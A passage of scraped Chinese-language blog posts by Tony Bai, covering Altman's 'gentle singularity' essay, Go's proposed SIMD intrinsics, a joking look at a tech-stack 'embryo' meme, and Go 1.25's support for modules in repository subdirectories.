正在深刻重塑世界的图景。他所说的“温和奇点”，并非遥不可及的科幻概念，而是已经开始在我们身边发生的、渐进但影响深远的变革。\n从 AI 在编码、科研、医疗等领域的加速渗透，到对未来工作模式、社会结构乃至人类进步根本动力的重塑，Altman 的观点为我们提供了极具价值的思考框架。当然，其中也伴随着对“职业消失”、“对齐难题”等严峻挑战的坦诚。\n无论我们是否完全认同 Altman 的所有预测和时间表，一个不争的事实是，AI 技术的指数级发展正在以前所未有的速度改变着我们的世界。作为技术从业者，理解这些趋势，思考我们自身的定位，并积极参与到构建一个负责任、普惠的 AI 未来的讨论中，显得尤为重要。\n“事件视界”或许已然越过，“起飞”的引擎也已点燃。我们是否准备好迎接这个由 AI 定义的，既熟悉又陌生的未来了呢？\n聊一聊，也帮个忙：\n你如何理解 Sam Altman 提出的“温和奇点”？你认为我们真的已经“起飞”了吗？ Altman 对 2025-2027 年 AI Agent 和机器人的预测，你认为哪些最有可能实现？它们将如何改变我们的生活和工作？ 面对 AI 可能带来的“整个职业类别的消失”，你认为个人和社会应该如何应对？“对齐问题”和“超级智能的普及”哪个挑战更大？ 欢迎在评论区留下你的深度思考和独到见解。如果你觉得这篇文章提供了有价值的信息和视角，也请转发给你身边的朋友和同事，一起关注和探讨这个关乎我们所有人的 AI 未来！\n想与我进行更深入的 Go 语言、AI 赋能开发与前沿技术趋势交流吗？ 欢迎加入我的**“Go \u0026amp; AI 精进营”知识星球**。\n我们星球见！\n注：本文经过强大的AI工具的润色，旨在提供更好地读者阅读体验。\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/06/11/the-gentle-singularity/","summary":"\u003cp\u003eSam Altman的“温和奇点”已至：我们真的越过了AI的“事件视界”吗？ - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Sam Altman的“温和奇点”已至：我们真的越过了AI的“事件视界”吗？"},{"content":"告别手写汇编：Go官方提出原生SIMD支持，高性能计算将迎来巨变 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\n告别手写汇编：Go官方提出原生SIMD支持，高性能计算将迎来巨变 六月 9, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/06/09/go-simd-intrinsics\n大家好，我是Tony Bai。\n长期以来，在Go语言中追求极致性能的开发者，当遇到需要利用现代 CPU 的 SIMD (Single Instruction, Multiple Data) 能力时，往往不得不求助于手写汇编。这种方式不仅编写和维护困难，还会导致异步抢占失效、阻碍编译器内联优化等问题。现在，这一“不得不”的时代有望终结。 Go 官方团队正式提出了 #73787 提案：在 GOEXPERIMENT 标志下引入架构特定的 SIMD 内置函数。这一里程碑式的提案，旨在为 Go 开发者提供一种无需编写汇编即可利用底层硬件加速能力的方式，预示着 Go 在高性能计算领域将迎来一场深刻的巨变。在这篇文章中，我就和大家一起解读一下这个里程碑式的提案。\n两步走战略：从架构特定到可移植 Highway Go 语言的 API 设计一向以简洁和可移植性著称，但 SIMD 操作的本质却是硬件特定且复杂的。不同 CPU 架构（如 amd64, arm64, riscv64 等）支持不同的向量长度、操作指令甚至数据表示方式。如何在高层抽象的简洁性与底层硬件的复杂性之间找到平衡，是 Go SIMD 设计面临的核心挑战。\n为此，Go 团队提出了一个清晰的“两步走”战略：\n第一步：低级、架构特定的 API 与内置函数 (Low-level, architecture-specific API) * **目标：** 提供一组与机器指令紧密对应的底层 SIMD 操作。这些操作将作为 Go 编译器可识别的**内置函数 (intrinsics)**，在编译时直接转换为高效的单条机器指令。 * **定位：** 类似于 syscall 包。它为追求极致性能的“高级用户”提供了直接访问硬件特性的能力，是构建上层抽象的基石。 * **实现方式：** 初期将以 GOEXPERIMENT=simd 的形式提供预览，首先聚焦于 amd64 等架构的定长向量支持。 第二步：高级、可移植的向量 API (High-level, portable vector API) * **目标：** 借鉴 C++ [Highway](https://google.github.io/highway/) 等项目的成功经验，在底层内置函数的基础上，构建一套跨平台、易于使用的高级 SIMD API。 * **定位：** 类似于 os 包。大多数数据处理、AI 基础设施等场景的开发者可以直接使用这个可移植的 API，在不同架构上都能获得良好的性能。 这个分层设计，既满足了对底层硬件极致控制的需求，也为广大开发者提供了简单易用的可移植方案，实现了优雅的权衡。\n底层 API 设计哲学与核心要素 提案详细阐述了底层 SIMD API 的设计原则和关键组成部分：\n向量类型 (Vector Types) SIMD 向量类型将被定义为不透明的结构体（Opaque Structs），而非数组，以避免动态索引（硬件通常不支持）带来的问题。类型命名将直观反映元素类型和数量。\npackage simd // 示例：在支持的架构上定义 type Uint32x4 struct { a0, a1, a2, a3 uint32 } // 128-bit vector type Float64x8 struct { /* 8 float64 fields */ } // 512-bit vector 编译器会特殊处理这些类型，确保它们在传递和存储时使用向量寄存器。\n操作 (Operations) 向量操作将以方法 (methods) 的形式定义在向量类型上，编译器会将其识别为内置函数。\n// Add 每个元素相加 // // 等价于 x86 指令 VPADDD func (Uint32x4) Add(Uint32x4) Uint32x4 命名： 采用易于理解的描述性名称（如 Add, Mul, ShiftLeftConst），而非与特定架构指令（如 VPADDD）绑定。不过，注释中会标明对应的机器指令，方便专家查阅。 尽力而为的可移植性 (Best-effort portability)： 对于多平台都支持的常见操作，将使用相同的名称和签名。但该层 API 不追求完全的可移植性，通常不会模拟硬件不支持的操作。 加载与存储 (Load \u0026amp; Store) 加载和存储操作将通过函数实现，通常接受指向固定大小数组的指针。为了方便，也会提供从切片加载的辅助函数。\n// 从指向数组的指针加载 func LoadUint32x4(p *[4]uint32) Uint32x4 // 从切片加载 func LoadUint32x4FromSlice(s []uint32) Uint32x4 { return LoadUint32x4((*[4]uint32)(s)) } // 存储到指向数组的指针 func (v Uint32x4) Store(p *[4]uint32) 掩码类型 (Mask Types) 不同架构对掩码的表示方式差异巨大（如 AVX512 的 k-register vs AVX2 的向量寄存器）。为屏蔽这种复杂性，掩码将表示为不透明类型（如 Mask32x4）。编译器会根据上下文选择最高效的硬件表示。\n// 比较操作返回掩码 func (Uint32x4) Equal(Uint32x4) Mask32x4 // 带掩码的加法 (仅对掩码为 true 的元素进行操作) func (Uint32x4) AddMasked(Uint32x4, Mask32x4) Uint32x4 // 掩码可以与向量互相转换 func (Mask32x4) AsVector() Int32x4 API 组织模式的探讨 除了提案本身，Go团队成员@dr2chase 的示例项目 go_simd_examples 进一步探讨了 SIMD 包的不同组织模式，这对于我们理解未来 API 的可能形态至关重要。\n模式 A：单一 simd 包 (提案当前倾向)\n所有向量类型和操作都在一个 simd 包内，通过构建标签（build tags）为不同架构提供实现。 开发者通过运行时检查（如 simd.BitLen(), simd.Scalable()）来调度不同向量长度（128/256/512位）或可伸缩向量的实现。 优点： 用户只需导入一个包，API 表面上看起来是统一的。 挑战： 需要开发者编写运行时分派逻辑，且代码可移植性依赖于“尽力而为”的公共 API 子集。有开发者指出，这使得在无 build tag 的通用文件中编写 SIMD 代码变得困难，因为 simd 包本身可能在某些架构上不存在。 模式 B：每个架构一个 simd 子包 (simd_amd64, simd_arm64等)\n每个架构的 SIMD 内置函数被隔离在各自的包中。开发者通过 build tag 和不同的导入语句来使用特定于架构的功能。 优点： 借鉴了 syscall 包拆分的经验，API 边界清晰，明确了代码的非可移植性。文档和工具（如 gopls）能更好地为特定架构提供支持。 挑战： 对于共享相同算法逻辑但仅向量类型不同的代码，会导致更多的代码重复。 模式 C：每个向量长度一个 simd 子包 (simd_128, simd_256, simd_s等)\n这是一种更激进的探索，将 API 按向量能力（长度）划分。\n优点：\n允许在包级别定义常量（如 simd_128.NFloat64s），减少了代码中的硬编码。 可以通过统一的类型后缀（如 simd_256.Float64s）来指代该包内最大长度的向量，使得为不同向量长度编写的代码在结构上更相似，更接近可伸缩向量的写法。 对于 amd64 架构，这种方式能更清晰地区分不同指令集下的同尺寸向量操作（例如，simd_128 包中的操作对应 SSE，而 simd_256 包中128位操作则使用 AVX 指令）。 挑战： 增加了包的数量，开发者需要根据目标硬件能力选择导入正确的包。\n@dr2chase 的示例通过一个“加权内积”的例子，分别用这三种模式实现了跨架构的 SIMD 加速，直观地展示了不同组织方式对代码结构和可维护性的影响。\n社区反馈与深入讨论 73787提案引发了社区专家的热烈讨论，一些关键点包括：\nAPI 命名哲学 (Add vs. VPADDD)： ianlancetaylor 认为，使用特定于架构的指令名或 C/C++ 内置函数名，对专家更友好，便于他们直接将在其他平台的经验移植过来。而 cherrymui则认为，描述性的通用名称（如 Add）对代码的读者更友好，因为大多数人不是 SIMD 专家，通用名称降低了理解门槛。最终提案倾向于后者，并通过注释标明具体指令来服务专家。 处理立即数操作数： 对于需要编译时常量的指令（如 VPINSRD），提案建议开发者传入常量。如果传入变量，编译器可能会回退到效率较低的模拟实现或表驱动跳转。 每架构一个包的呼声： 有一部分开发者强烈建议采用类似 syscall 分拆的模式，即每个架构一个独立的 simd 包。他们认为这能更清晰地界定可移植性边界，避免一个看似统一的 simd 包在不同平台下行为不一所带来的困惑。 对非原生数据类型的支持： 提案确认了未来支持如 bfloat16、float16 等 Go 语言本身没有原生标量类型的计划，这些类型将仅以向量形式存在于 simd 包中。 与现有工具链的整合： 讨论涉及了与 golang.org/x/sys/cpu 的集成、GOAMD64 等环境变量的影响、VZEROUPPER 指令的自动插入、以及编译器内联启发式算法的改进等深度技术问题。 小结 Go 官方的 #73787 SIMD 提案，标志着 Go 语言在拥抱底层硬件能力、提升高性能计算方面迈出了决定性的一步。其“两步走”战略清晰地规划了从架构特定的底层能力到高级可移植 API 的演进路径，既务实又富有远见。\n对 Go 开发者而言，这意味着：\n性能优化的新途径： 未来，我们将能用纯 Go 代码（而非汇编）来编写利用 SIMD 的高性能计算密集型任务，如数据处理、加密、多媒体编解码、AI/ML 等。 更低的入门门槛： 相比于手写汇编，基于 Go 方法和类型的 SIMD API 将极大地降低学习和使用门槛。 持续关注实验性特性： 该功能将首先通过 GOEXPERIMENT=simd 标志发布，这为社区提供了宝贵的早期试用和反馈机会，共同塑造其最终形态。 虽然关于 API 的组织形式、命名约定等细节仍在积极讨论中，但提案所确立的大方向——通过编译器内置函数提供底层支持，并在此基础上构建高级抽象——已经非常明确。这不仅将直接惠及需要极致性能的 Go 应用，也将为 Go 语言的整体生态（例如标准库的内部优化）注入新的活力。\n从提案目前的状态来看，最早也要等到Go 1.26版本落地了。\n微专栏推荐：征服 Go 并发测试\n想彻底告别并发测试的“噩梦”吗？我的全新微专栏 《征服 Go 并发测试》（共三篇）现已上线！\n本系列深入剖析并发测试痛点、testing/synctest 的设计原理与 API，并提供丰富的实战案例。助你轻松驾驭并发测试，写出更稳健的 Go 应用！\n扫码订阅，即刻解锁并发测试新境界！\n更多微专栏，敬请期待！ 对后续选题（如 Go 性能优化、AI 与 Go 结合等）有何期待或建议？欢迎在留言区畅所欲言，一起打造更精彩的内容！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/06/09/go-simd-intrinsics/","summary":"\u003cp\u003e告别手写汇编：Go官方提出原生SIMD支持，高性能计算将迎来巨变 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"告别手写汇编：Go官方提出原生SIMD支持，高性能计算将迎来巨变"},{"content":"“Rustacean”胚胎 vs “Gopher”胚胎：假如用技术栈测“人格”，你会是哪一款？ - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\n“Rustacean”胚胎 vs “Gopher”胚胎：假如用技术栈测“人格”，你会是哪一款？ 六月 7, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/06/07/nucleus-embryo\n大家好，我是Tony Bai。\n最近，一张名为 “Nucleus Embryo” 的神秘图片在开发者圈子里悄然流传，引发了大家会心一笑（可能还带有一丝“我懂的”的复杂表情）。这张图煞有介事地对比了两个假想的“胚胎”——Embryo 1 和 Embryo 2——据称它们在“出厂设置”时，就已预装了不同的“技术基因”。\n乍一看，这图表做得还挺像那么回事：有“Autism (自闭症倾向)”、“ADHD (多动症倾向)”、“Gender Dysphoria (性别焦虑倾向)”这些不明觉厉的百分点，还有看似严谨的“IQ (智商)”点数。但定睛一瞧，嘿，这“Language (编程语言)”、“Editor (编辑器)”、“OS (操作系统)”一栏，赫然出现了我们熟悉的 Rust、Go、VS Code (或类似现代IDE)、Neovim (或Vim)、Arch Linux 和 macOS 的 Logo！\n这显然是一张充满网络 Meme 精神的“恶搞图”，将复杂的人类特征与纯粹的技术偏好进行了一番天马行空的“强行配对”。 今天，我们就本着“纯属娱乐，请勿当真”的精神，来趣味解读一下，假如用技术栈来“测人格”，这两个“胚胎”分别代表了哪一款开发者“出厂画像”？而你，又更接近哪一款呢？\n(郑重声明：以下解读纯属借助AI进行的基于网络 Meme 的趣味联想和对技术社区刻板印象的调侃，不代表任何科学观点，更不涉及对任何人群的评价或歧视。请大家在这个闲暇周末轻松阅读，切勿对号入座或上纲上线！)\nEmbryo 1 号：“硬核掌控者”画像？ 让我们来看看 Embryo 1 号的“技术基因配置”：\nLanguage: Rust Editor: VS Code (或其抽象变体/同类现代IDE) OS: Arch Linux 如果非要给这个配置画个像，它可能散发着一股浓浓的“硬核玩家”和“掌控一切”的气息：\nRust 语言： 以其对内存安全、并发性能的极致追求和陡峭的学习曲线著称。选择 Rust 的开发者，往往被认为是对系统底层有深入理解、不畏惧复杂性、追求代码极致性能和安全性的“屠龙勇士”。他们可能热衷于讨论生命周期、所有权、借用检查，并以编写出“零成本抽象”的代码为荣。 VS Code (或类似现代IDE)： 虽然图中 Logo 比较抽象，但整体风格偏向现代、功能丰富的集成开发环境。这表明 Embryo 1 号在追求硬核的同时，也懂得利用现代工具提升开发体验，追求效率与功能的平衡。 Arch Linux： 一个以“Keep It Simple, Stupid” (KISS) 和用户中心为理念，但需要用户从头构建和配置的 Linux 发行版。选择 Arch Linux 的用户，通常被认为是喜欢完全掌控自己的操作系统、不介意“折腾”、动手能力极强的 Linux 极客。 趣味解读 Embryo 1 号“人格”标签（纯属虚构，仅供娱乐）：\n优点： 追求极致、严谨细致、底层功力深厚、动手能力强、乐于探索。 “萌点”/“槽点”： 可能会对“不够安全”、“不够高效”的代码嗤之鼻用鼻孔；热衷于向你安利 Arch Linux 并告诉你“编译大法好”；电脑上可能有无数个自己编译的工具链。 口头禅（猜想）： “你的代码 unsafe 了吗？”、“这不符合 Rustacean 的精神！”、“Manjaro发行版？那是给新手玩的！” Embryo 2 号：“务实效率派”画像？ 接下来，我们看看 Embryo 2 号的“出厂配置”：\nLanguage: Go Editor: Neovim (或 Vim) OS: macOS 这个配置组合，则可能描绘出一位更注重简洁、实用和开发效率的“务实派”开发者：\nGo 语言： 以其简洁的语法、高效的编译速度、强大的并发模型和完善的工具链闻名。选择 Go 的开发者，通常被认为是务实的工程派，他们更关注如何快速、可靠地构建可维护的系统，尤其在云原生、微服务、分布式系统领域得心应手。 Neovim (或 Vim)： 一款高度可定制、键盘驱动、以高效文本编辑著称的编辑器。选择 Neovim/Vim 的开发者，往往追求极致的编辑效率和个性化的工作流，他们可能对鼠标“不屑一顾”，并能熟练地运用各种快捷键和插件组合。 macOS： 一个以用户体验、设计美感和 Unix 友好性著称的操作系统。选择 macOS 的 Gopher，可能既看重其稳定易用的图形界面，也喜欢其背后强大的 Unix 内核和开发工具生态。 趣味解读 Embryo 2 号“人格”标签（纯属虚构，仅供娱乐）：\n优点： 简洁高效、务实专注、工程能力强、注重工具链整合。 “萌点”/“槽点”： 可能会对“过度设计”、“不必要的复杂性”表示不解；坚信“少即是多，接口就是力量”；熟练掌握各种 hjkl 操作，并试图在一切应用中寻找 Vim 模式。 口头禅（猜想）： “一个 goroutine 搞定！”、“这个接口设计不 Go！”、“JetBrains IDE？太重了，我用 Neovim/Vim 就够了！” 敏感标签的“荒谬”与 IQ 的“一视同仁” 当然，这张图中除了技术栈，还有一些关于 Autism、ADHD、Gender Dysphoria 的“百分点”和 IQ 的“点数”。我们必须再次强调，将这些复杂且严肃的个体特征与技术选择简单粗暴地关联起来，是极度荒谬和不负责任的。 每个人的生理和心理状况都是独特的，不应被任何标签所定义，更不应与他们使用的工具挂钩。\n有趣的是，在这张充满“偏见”的图中，两个“胚胎”的 IQ 点数却是相同的（都是+4）。这或许是制图者在用一种黑色幽默的方式暗示：无论你选择哪种技术栈，你的基础智力水平可能都差不多；或者，技术偏好与所谓的“智商高低”并无直接关联。 这点倒是值得我们深思。\n技术的本质是工具，标签仅供一笑 说到底，这张 “Nucleus Embryo” 图，更像是一面映照技术社区中各种“梗”和“刻板印象”的哈哈镜。它用一种夸张的方式，触碰了我们潜意识中对不同技术群体的一些模糊认知。\n编程语言、编辑器、操作系统，本质上都只是工具。选择使用哪种工具，更多的是基于个人偏好、项目需求、团队协作以及特定场景下的效率考量。没有任何一种技术栈组合能够定义一个人的全部，更不能决定其“人格”或“价值”。\n所以，当我们看到这张图时，不妨一笑置之。你可以开玩笑地对号入座，或者和朋友们讨论一下自己心目中不同技术栈组合的“开发者画像”，但请务必记住：\n这纯属娱乐，切勿当真。 尊重每一个人的技术选择和个体差异。 警惕任何形式的标签化和刻板印象。 技术的魅力在于其多样性和解决问题的能力。无论你是“Embryo 1 号”、“Embryo 2 号”，还是任何其他独特的技术栈组合的拥趸，最重要的是享受编码的乐趣，创造有价值的软件，并在这个过程中不断学习和成长。\n聊一聊，纯属娱乐大调查！\n看完这张图和解读，你觉得自己更接近“Embryo 1 号”还是“Embryo 2 号”的“技术基因”？或者你认为自己是哪种全新的“技术胚胎”？ 在你心目中，使用特定编程语言/编辑器/操作系统的开发者，通常有哪些有趣的“刻板印象”？（欢迎在评论区开启“吐槽”模式，但请保持友好！） 你认为技术社区中，除了图上提到的，还有哪些常见的“鄙视链”或“部落文化”现象？我们该如何消解它们？ 欢迎在评论区踊跃发言，分享你的“技术人格”自画像和趣味观察！如果你觉得这篇文章让你会心一笑，也请转发给你身边的开发者朋友们，一起加入这场轻松愉快的“技术对对碰”！\n微专栏推荐：征服 Go 并发测试\n想彻底告别并发测试的“噩梦”吗？我的全新微专栏 《征服 Go 并发测试》（共三篇）现已上线！\n本系列深入剖析并发测试痛点、testing/synctest 的设计原理与 API，并提供丰富的实战案例。助你轻松驾驭并发测试，写出更稳健的 Go 应用！\n微信扫码订阅，即刻解锁并发测试新境界！\n更多微专栏，敬请期待！ 对后续选题（如 Go 性能优化、AI 与 Go 结合等）有何期待或建议？欢迎在留言区畅所欲言，一起打造更精彩的内容！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/06/07/nucleus-embryo/","summary":"\u003cp\u003e“Rustacean”胚胎 vs “Gopher”胚胎：假如用技术栈测“人格”，你会是哪一款？ - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"“Rustacean”胚胎 vs “Gopher”胚胎：假如用技术栈测“人格”，你会是哪一款？"},{"content":"千呼万唤始出来？Go 1.25解决Git仓库子目录作为模块根路径难题 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\n千呼万唤始出来？Go 1.25解决Git仓库子目录作为模块根路径难题 六月 7, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/06/07/allow-serving-module-under-subdir\n大家好，我是Tony Bai。\n对于许多 Go 项目维护者而言，如何优雅地组织一个包含多种语言或多个独立 Go 模块的 Git 仓库一直是个不大不小的难题。将 Go 模块置于仓库根目录虽然直接，但有时会导致根目录文件列表臃肿，影响项目整体的清爽度。而将 Go 模块移至子目录，则面临着导入路径、版本标签以及 Go 工具链支持等一系列挑战。近日，一个旨在解决这一痛点的提案 (Issue #34055) 在历经数年讨论后，终于被 Go 团队正式接受，并将在 Go 1.25 版本中落地。这一变化预示着 Go 模块的管理将迎来更高的灵活性。\n在这篇文章中，我就来介绍一下这个Go模块管理的变化，各位读者也可以评估一下该功能是否会给你带来更多的便利。\n痛点：子目录模块的困境 提案发起者 @nhooyr 在其 websocket 项目 (nhooyr.io/websocket) 中遇到了典型的问题：当 Go 模块文件直接放在 Git 仓库根目录时，根目录显得非常杂乱。他尝试将 Go 模块移至子目录（例如 ./mod），希望 nhooyr.io/websocket 这个导入路径能直接指向该子目录，而不是变成 nhooyr.io/websocket/mod 这样“丑陋”的路径。\n现有的 go-import meta 标签虽然允许自定义导入路径到 VCS 仓库的映射，但在处理子目录模块时存在局限：\n直接指定仓库： 会导致导入路径需要包含子目录名，这与期望的简洁导入路径相悖。 运行自定义模块服务器： 虽然可以实现精确映射，但这增加了维护成本，并非所有开发者都愿意承担。 版本标签问题： 当模块位于子目录时，如何正确识别和使用 Git 标签（如 v1.0.0）成为一个棘手的问题。开发者期望的是使用仓库级别的全局标签，而不是为子目录模块创建特殊前缀的标签（如 mod/v1.0.0）。 godoc.org 等工具的兼容性： 早期 godoc.org 对子目录模块的支持也不完善(注：该提案提出于2019年，那时godoc.org尚未关闭)。 Apache Thrift 项目也遇到了类似问题，其 Go 库位于 github.com/apache/thrift/lib/go/thrift。如果 go.mod 放在子目录下，导入路径会变长，且无法直接使用项目级别的 Git 标签；如果 go.mod 放在顶层，则会受到仓库中其他语言测试代码的影响，使得 go mod tidy 等操作变得复杂(注：Go 1.25的go.mod增加ignore指令，一定称度上可以缓解该影响)。\n提案核心：go-import 的扩展与版本标签约定 经过社区的广泛讨论和 Go 团队的审慎考虑，最终被接受的方案聚焦于扩展 go-import meta 标签，并明确了版本标签的约定：\n扩展 go-import Meta 标签 在现有的 go-import meta 标签的三个字段（import-prefix vcs vcs-url）基础上，增加第四个可选字段，用于指定模块在仓库中的实际子目录。\n例如，对于 nhooyr.io/websocket 这个导入路径，如果其模块代码位于 github.com/nhooyr/websocket 仓库的 mod 子目录下，其 go-import meta 标签可以这样设置：\n\u0026lt;meta name=\u0026#34;go-import\u0026#34; content=\u0026#34;nhooyr.io/websocket git https://github.com/nhooyr/websocket mod\u0026#34;\u0026gt; 当 Go 工具（如 go get）解析这个自定义导入路径时，它会识别到第四个字段 mod，并知道真正的模块代码位于该 Git 仓库的 mod 子目录中。旧版本的 Go 工具会因为字段数量不匹配而忽略此标签，这保证了向后兼容性（旧版本 Go 无法处理子目录，忽略标签是合理的行为）。\n版本标签约定 对于位于子目录中的模块，其版本标签必须包含该子目录作为前缀。\n继续上面的例子，如果 nhooyr.io/websocket 发布 v1.0.0 版本，其在 github.com/nhooyr/websocket 仓库中对应的 Git 标签应该是 mod/v1.0.0。\nGo 工具在解析 nhooyr.io/websocket@v1.0.0 时，会结合 go-import 标签中的子目录信息，去查找 mod/v1.0.0 这个 Git 标签。\n对于嵌套更深的子目录模块，例如 nhooyr.io/websocket/example 位于仓库的 mod/example 子目录下，其 v1.0.0 版本的标签则应为 mod/example/v1.0.0。\n我们这里用一张示意图来直观展示一下这个约定的工作原理：\n这一约定确保了版本标签的唯一性和明确性，避免了不同子目录模块可能存在的标签冲突，以及全局标签与特定子目录模块版本之间的模糊性。Go团队也强调了避免使用全局标签作为回退的重要性，因为这可能导致版本含义随时间变化而产生不一致和校验和错误。\n为何选择此方案？ 最小化改动与兼容性： 扩展 go-import 标签是对现有机制的平滑增强，对旧版本 Go 工具影响可控。 明确性与一致性： 子目录前缀的版本标签确保了版本指向的唯一性，与 Go 模块系统中对子目录模块版本控制的既有逻辑保持一致。 解决了核心痛点： 允许开发者使用简洁的自定义导入路径，同时将 Go 模块代码组织在 Git 仓库的子目录中，保持了仓库根目录的整洁。 避免复杂性： 相较于引入新的 go.mod 指令（如有开发者曾建议的别名机制）或其他更复杂的仓库结构约定，此方案更为直接和易于理解。 值得注意的是，此提案主要针对使用自定义导入路径（通过 go-import meta 标签声明）的场景。对于直接使用如 github.com/user/repo/subdir 这样的导入路径，当前Go 工具链已经能够处理，但版本标签也需要遵循子目录前缀的规则。此提案并不能改变像 github.com 这类不依赖 go-import 元数据的托管平台的行为。\n对 Go Monorepo 实践的深远影响 该提案的接受，不仅仅是对自定义导入路径和子目录模块管理的技术细节改进，更深层次上，它将对 Go 社区中 Monorepo（单一代码仓库）策略的采纳和实践产生积极且重要的推动作用。\nMonorepo 的吸引力与 Go 的挑战 Monorepo 模式因其在促进代码共享、实现原子化变更、简化跨组件重构以及统一构建和测试流程等方面的优势，在大型项目和追求高效协作的团队中越来越受欢迎。Google 的大规模 Monorepo 实践以及 etcd 等开源项目所采用的“单一仓库，多 Go 模块”模式，都展示了其价值。\n然而，在 Go 语言生态中，原生工具链对 Monorepo 内子目录模块缺乏优雅的支持，一直是制约其广泛应用的一个因素。开发者常常需要在“整洁的仓库结构”与“简洁的模块导入路径及清晰的版本管理”之间做出权衡。\n该提案如何赋能 Go Monorepo？ Go 1.25 引入的对 go-import 子目录的直接支持，恰好解决了这一核心痛点：\n降低多模块 Monorepo 的实现门槛 通过扩展 go-import meta 标签，开发者可以轻松地将位于 Git 仓库任意子目录下的 Go 模块映射到期望的、简洁的自定义导入路径。这意味着，一个 Monorepo 可以更自然地容纳多个逻辑上独立但可能共享代码的 Go 服务或库，而无需担心导入路径变得冗长或依赖复杂的代理服务器。\n标准化子目录模块的版本控制 结合提案中明确的“版本标签需包含子目录前缀”（如 sub_module/v1.0.0）的约定，使得在 Monorepo 中对不同模块进行独立的版本发布和精确的依赖管理成为可能。这与 etcd 项目展示的模式高度一致，为其他希望效仿的项目提供了清晰的指导。\n提升代码组织灵活性与可维护性 大型项目或包含多种技术栈的仓库，可以将 Go 代码更合理地组织在符合项目整体架构的子目录中，例如 components/auth_service/go/ 或 libs/go/common_utils/，而这些子目录下的模块依然可以拥有如 my-org.com/auth 或 my-org.com/utils 这样干净的导入路径。\n促进更广泛的 Monorepo 采纳 随着这一关键技术障碍的扫除，那些因统一工程标准、简化依赖管理（尤其是内部依赖）、提升CI/CD效率或满足特定交付需求（如白盒交付）而考虑 Monorepo 的团队，将更有信心和理由在 Go 项目中实践这一策略。Go 语言正变得越来越适合构建和管理大规模、多组件的复杂系统。\n可以预见，Go 1.25 的这一特性将成为 Go 开发者工具箱中的一个重要补充，它不仅解决了单个模块的组织问题，更为 Go 生态系统拥抱和发展 Monorepo 实践提供了坚实的基础。\n进展与展望 该提案已被 Go 团队接受，相关的实现工作也已完成。最初计划在 Go 1.24 发布，后因时间原因推迟至 Go 1.25。\n一旦此特性随着Go 1.25发布，Go 开发者在组织单仓库多模块（monorepo）或包含非 Go 代码的大型项目时，将拥有更大的灵活性：\n可以更清晰地分离不同语言或项目的代码，同时为 Go 模块提供简洁、稳定的自定义导入路径。 例如，一个项目可以有 docs/、python_scripts/、go_module/ 等子目录，而 mycompany.com/myproject 可以直接指向 go_module/。 当然，这也要求模块维护者在发布版本时，正确地创建带有子目录前缀的 Git 标签。\n小节 34055 提案的接受和即将落地，是 Go 模块系统在灵活性和易用性上的又一次重要进步。它回应了社区长期以来关于改善子目录模块管理体验的呼声，提供了一个相对简单且兼容性良好的解决方案。虽然它不能解决所有场景下的问题（尤其是对于 github.com 等直接路径），但对于使用自定义导入路径(vanity import path)的开发者来说，无疑是一个值得期待的积极变化。我们期待在 Go 1.25 中看到这一特性的正式落地，并观察它将如何被社区广泛应用。\n您是否也曾为 Git 仓库子目录中的 Go 模块管理而烦恼？您认为 #34055 提案的解决方案是否满足您的需求？欢迎在评论区分享您的项目组织经验和对这一新特性的看法！\n想深入理解 Go 模块的工作原理、版本管理、依赖解析以及更多企业级 Go 项目架构实践吗？不要错过我们的《Go语言进阶课》专栏，系统提升您的 Go 工程能力！\n各位读者，我计划在我的微信公众号上，陆续推出一些付费的“微专栏”系列。 这些微专栏通常会围绕一个特定的、值得深入探讨的技术点或主题（无论是 Go 语言的进阶技巧、AI 开发的某个具体环节，还是某个工具的深度剖析等），以 3 